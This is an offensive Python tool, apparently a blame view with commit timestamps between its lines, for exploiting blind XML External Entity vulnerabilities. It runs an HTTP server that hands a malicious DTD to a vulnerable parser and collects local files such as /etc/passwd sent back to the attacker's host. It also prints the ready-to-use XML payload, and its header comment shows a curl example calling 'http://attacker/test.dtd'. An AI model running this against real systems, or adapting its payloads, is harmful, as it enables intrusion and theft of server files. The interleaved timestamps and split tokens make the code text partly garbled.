2018-02-02 22:22:43 +01:00
#!/usr/bin/python
#
# Simple Blind XXE server intended to handle incoming requests for
# malicious DTD file, that will subsequently ask for locally stored file,
# like file:///etc/passwd.
#
# This program has been tested with PlayFramework 2.1.3 XXE vulnerability,
# to be run as follows:
#
# 0. Configure global variables: SERVER_SOCKET and RHOST
#
# 1. Run the below script, using:
2018-10-23 22:36:47 +02:00
# $ python blindxxe.py [options] <filepath>
2018-02-02 22:22:43 +01:00
#
2018-10-23 22:36:47 +02:00
# where <filepath> can be for instance: "file:///etc/passwd"
2018-02-02 22:22:43 +01:00
#
# 2. Then, while server is running - invoke XXE by requesting e.g.
2018-10-23 22:36:47 +02:00
# $ curl -X POST http://vulnerable/app --data-binary \
# $'<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker/test.dtd"><foo>&exfil;</foo>'
2018-02-02 22:22:43 +01:00
#
# The expected result will be like the following:
#
# $ python blindxxe.py
2018-10-23 22:36:47 +02:00
# Exfiltrated file:///etc/passwd:
# ------------------------------
# root:x:0:0:root:/root:/bin/sh
# nobody:x:65534:65534:nobody:/nonexistent:/bin/false
# user:x:1000:50:Linux User,,,:/home/user:/bin/sh
# play:x:100:65534:Linux User,,,:/var/www/play/:/bin/false
# mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false
2018-02-02 22:22:43 +01:00
#
#
# Mariusz B., 2016
#
from BaseHTTPServer import BaseHTTPRequestHandler , HTTPServer
import urllib
import re
import sys
import time
import socket
2018-10-23 22:36:47 +02:00
import argparse
import threading
2018-02-02 22:22:43 +01:00
#
# CONFIGURE THE BELOW VARIABLES
#
2018-10-23 22:36:47 +02:00
config = {
' debug ' : ' ' ,
' listen ' : ' 0.0.0.0 ' ,
' port ' : 8080 ,
' rhost ' : ' ' ,
' exfil-file ' : ' ' ,
}
2018-02-02 22:22:43 +01:00
EXFILTRATED_EVENT = threading . Event ( )
2018-10-23 23:03:47 +02:00
def dbg ( x ) :
if config [ ' debug ' ] :
print ( ' [dbg] {} ' . format ( x ) )
2018-02-02 22:22:43 +01:00
class BlindXXEServer ( BaseHTTPRequestHandler ) :
2018-10-23 23:03:47 +02:00
method = ' '
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
def response ( self , * * data ) :
code = data . get ( ' code ' , 200 )
content_type = data . get ( ' content_type ' , ' text/plain ' )
body = data . get ( ' body ' , ' ' )
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
self . send_response ( code )
self . send_header ( ' Content-Type ' , content_type )
self . end_headers ( )
self . wfile . write ( body . encode ( ' utf-8 ' ) )
self . wfile . close ( )
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
def do_GET ( self ) :
2018-10-23 23:03:47 +02:00
self . method = ' GET '
2018-10-23 22:36:47 +02:00
self . request_handler ( self )
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
def do_POST ( self ) :
2018-10-23 23:03:47 +02:00
self . method = ' POST '
2018-10-23 22:36:47 +02:00
self . request_handler ( self )
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
def log_message ( self , format , * args ) :
return
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
def request_handler ( self , request ) :
global EXFILTRATED_EVENT
2018-02-02 22:22:43 +01:00
2018-10-23 23:03:47 +02:00
print ( ' [.] Incoming HTTP request from {} : {} {} ' . format (
self . client_address [ 0 ] ,
request . method ,
request . path [ : 25 ]
) )
2018-10-23 22:36:47 +02:00
path = urllib . unquote ( request . path ) . decode ( ' utf8 ' )
m = re . search ( ' \ / \ ?exfil=(.*) ' , path , re . MULTILINE )
if m and request . command . lower ( ) == ' get ' :
data = path [ len ( ' /?exfil= ' ) : ]
2018-10-23 23:03:47 +02:00
print ( ' \n [+] Exfiltrated %s : ' % config [ ' exfil-file ' ] )
print ( ' - ' * 30 )
print ( urllib . unquote ( data ) . decode ( ' utf8 ' ) )
print ( ' - ' * 30 + ' \n ' )
2018-10-23 22:36:47 +02:00
self . response ( body = ' true ' )
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
EXFILTRATED_EVENT . set ( )
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
elif request . path . endswith ( ' .dtd ' ) :
2018-10-23 23:03:47 +02:00
dbg ( ' Sending malicious DTD file. ' )
2018-10-23 22:36:47 +02:00
dtd = ''' <!ENTITY %% param_exfil SYSTEM " %(exfil_file)s " >
2018-10-23 23:03:47 +02:00
< ! ENTITY % % param_request " <!ENTITY exfil SYSTEM ' http:// %(exfil_host)s : %(exfil_port)d /?exfil= %% param_exfil; ' > " >
% % param_request ; ''' % {
' exfil_file ' : config [ ' exfil-file ' ] ,
' exfil_host ' : config [ ' rhost ' ] ,
' exfil_port ' : config [ ' port ' ]
}
2018-10-23 22:36:47 +02:00
self . response ( content_type = ' text/xml ' , body = dtd )
else :
2018-10-23 23:03:47 +02:00
dbg ( ' %s %s ' % ( request . command , request . path ) )
2018-10-23 22:36:47 +02:00
self . response ( body = ' false ' )
def parseOptions ( argv ) :
global config
print ( '''
: : Blind - XXE attacker ' s helper backend component
Helps exfiltrate files by abusing out - of - bands XML External Entity vulnerabilities .
Mariusz B . / mgeeky ' 16-18, <mb@binary-offensive.com>
''' )
parser = argparse . ArgumentParser ( prog = argv [ 0 ] , usage = ' %(prog)s [options] <file> ' )
parser . add_argument ( ' file ' , type = str , metavar = ' FILE ' , default = ' file:///etc/passwd ' , help = ' Specifies file to exfiltrate using Blind XXE technique. ' )
parser . add_argument ( ' -l ' , ' --listen ' , default = ' 0.0.0.0 ' , help = ' Specifies interface address to bind the HTTP server on / listen on. Default: 0.0.0.0 (all interfaces) ' )
parser . add_argument ( ' -p ' , ' --port ' , metavar = ' PORT ' , default = ' 8080 ' , type = int , help = ' Specifies the port to listen on. Default: 8080 ' )
parser . add_argument ( ' -r ' , ' --rhost ' , metavar = ' HOST ' , default = config [ ' rhost ' ] , help = ' Specifies attackers host address where the victim \' s XML parser should refer while fetching external entities ' )
parser . add_argument ( ' -d ' , ' --debug ' , action = ' store_true ' , help = ' Display debug output. ' )
args = parser . parse_args ( )
config [ ' debug ' ] = args . debug
config [ ' listen ' ] = args . listen
config [ ' port ' ] = int ( args . port )
config [ ' rhost ' ] = args . rhost
config [ ' exfil-file ' ] = args . file
2018-10-23 23:03:47 +02:00
print ( ' [::] File to be exfiltrated: " {} " ' . format ( args . file ) )
2018-10-23 22:36:47 +02:00
port = int ( args . port )
if port < 1 or port > 65535 :
Logger . err ( " Invalid port number. Must be in <1, 65535> " )
sys . exit ( - 1 )
return args
def fetchRhost ( ) :
global config
config [ ' rhost ' ] = socket . gethostbyname ( socket . gethostname ( ) )
def main ( argv ) :
global config
fetchRhost ( )
opts = parseOptions ( argv )
if not opts :
Logger . err ( ' Options parsing failed. ' )
return False
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
print ( ' [+] Serving HTTP server on: ( " {} " , {} ) ' . format (
config [ ' listen ' ] , config [ ' port ' ]
) )
2018-10-23 23:03:47 +02:00
dbg ( ' RHOST set to: {} ' . format ( config [ ' rhost ' ] ) )
rhost = config [ ' listen ' ]
if config [ ' listen ' ] == ' 0.0.0.0 ' :
rhost = config [ ' rhost ' ]
2018-10-23 22:40:06 +02:00
print ( ' \n [>] Here, use the following XML to leverage Blind XXE vulnerability: ' )
print ( '''
2018-10-23 23:03:47 +02:00
== =
2018-10-23 22:40:06 +02:00
< ? xml version = " 1.0 " ? >
2018-10-23 23:03:47 +02:00
< ! DOCTYPE foo SYSTEM " http:// {} : {} /test.dtd " >
2018-10-23 22:40:06 +02:00
< foo > & exfil ; < / foo >
2018-10-23 23:03:47 +02:00
== =
PS : Don ' t forget to set:
Content - Type : text / xml
2018-10-23 22:40:06 +02:00
2018-10-23 23:03:47 +02:00
''' .format(rhost, config[ ' port ' ]))
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
server = HTTPServer ( ( config [ ' listen ' ] , config [ ' port ' ] ) , BlindXXEServer )
thread = threading . Thread ( target = server . serve_forever )
thread . daemon = True
thread . start ( )
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
while not EXFILTRATED_EVENT . is_set ( ) :
pass
2018-02-02 22:22:43 +01:00
2018-10-23 22:36:47 +02:00
print ( ' [+] File has been exfiltrated. Quitting. ' )
2018-02-02 22:22:43 +01:00
if __name__ == ' __main__ ' :
2018-10-23 22:36:47 +02:00
main ( sys . argv )